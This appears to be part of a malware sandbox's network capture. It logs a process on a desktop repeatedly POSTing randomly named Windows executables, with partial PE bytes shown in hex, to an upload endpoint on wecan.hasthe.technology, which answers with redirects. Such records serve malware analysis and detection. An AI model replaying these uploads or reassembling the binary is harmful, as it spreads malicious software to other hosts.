
Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:12.151796103 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------857c341d246f6442
Oct 10, 2024 21:02:12.696577072 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:12.698028088 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 35 37 63 33 34 31 64 32 34 36 66 36 34 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------857c341d246f6442Content-Disposition: form-data; name="file[]"; filename="rifaien2-AbJq5JvGluWbFwwZ.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:12.698245049 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:12.703502893 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:12.703542948 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:12.703543901 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:12.703576088 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:12.703624010 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:12.703669071 CEST	4944	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:12.703696966 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:12.703742981 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:13.021969080 CEST	813	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:12 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:12 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=co8wkzCoD4QI6Ac46XhrMIABZKNzKM555LHgcNCff6k0FZrR0nlOHUjpkxOQc1H5%2BybkQwEwkzElCeqjGkt97jU4KJyuMTrVxwEyolzVo8jq0%2BLLzmAS27yeRU468eF8KzoXinNw%2FaiShw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd08bbcb4246-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50363	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:13.290972948 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------6e5a66bcce05e925
Oct 10, 2024 21:02:13.737899065 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:13.738919020 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 65 35 61 36 36 62 63 63 65 30 35 65 39 32 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------6e5a66bcce05e925Content-Disposition: form-data; name="file[]"; filename="rifaien2-XzoPd5NlxkpB2Qkz.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:13.739109039 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:13.744219065 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:13.744251966 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:13.744338036 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:13.744368076 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:13.744395018 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:13.744424105 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:13.744452000 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:13.744481087 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:14.047574997 CEST	821	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:14 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:14 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WxMEfQSZbaIcXQYuEPPkji8zR1ttAHS%2FhJpQZwIAM%2F6AXZQ6R%2F8Lfh6QQK%2BlzgnSxSqVxuInfdfpm4Lc2hfbGVMaffrUYvLhP65xaMH%2BX6E92mvDWrBKNZB4iDAMyz%2Bv1aS%2BVJy5D1pqkQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd0fbef12363-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50369	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:14.245438099 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------7d685a7b988b5b76
Oct 10, 2024 21:02:14.698637009 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:14.699259996 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 64 36 38 35 61 37 62 39 38 38 62 35 62 37 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------7d685a7b988b5b76Content-Disposition: form-data; name="file[]"; filename="rifaien2-T5UBOmxC86bktOIn.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:14.699455023 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:14.704425097 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:14.704457045 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:14.704482079 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:14.704556942 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:14.704583883 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:14.704631090 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:14.704655886 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:14.704706907 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:15.013561964 CEST	817	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:14 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:14 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fp9huq53Dc%2BWTYldUgP4oiQL9SHLqYFy9GaemLk3wn9ITp8G%2F9KMlmc4%2FA5OpzH53pnxQ2mmfFs%2FrzvLCKRR7L7jXVpCnKWkj%2Bi0kKqlrgol5mYSNLepRCqdkCgAyR67roTyuZyuqsBXwQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd15a8c6430d-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50374	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:15.151820898 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------162665c345818d3a
Oct 10, 2024 21:02:15.599240065 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:15.615458965 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 31 36 32 36 36 35 63 33 34 35 38 31 38 64 33 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------162665c345818d3aContent-Disposition: form-data; name="file[]"; filename="rifaien2-0Jvg60acvlNTEetj.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:15.615818977 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:15.621170044 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:15.621197939 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:15.621282101 CEST	4944	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
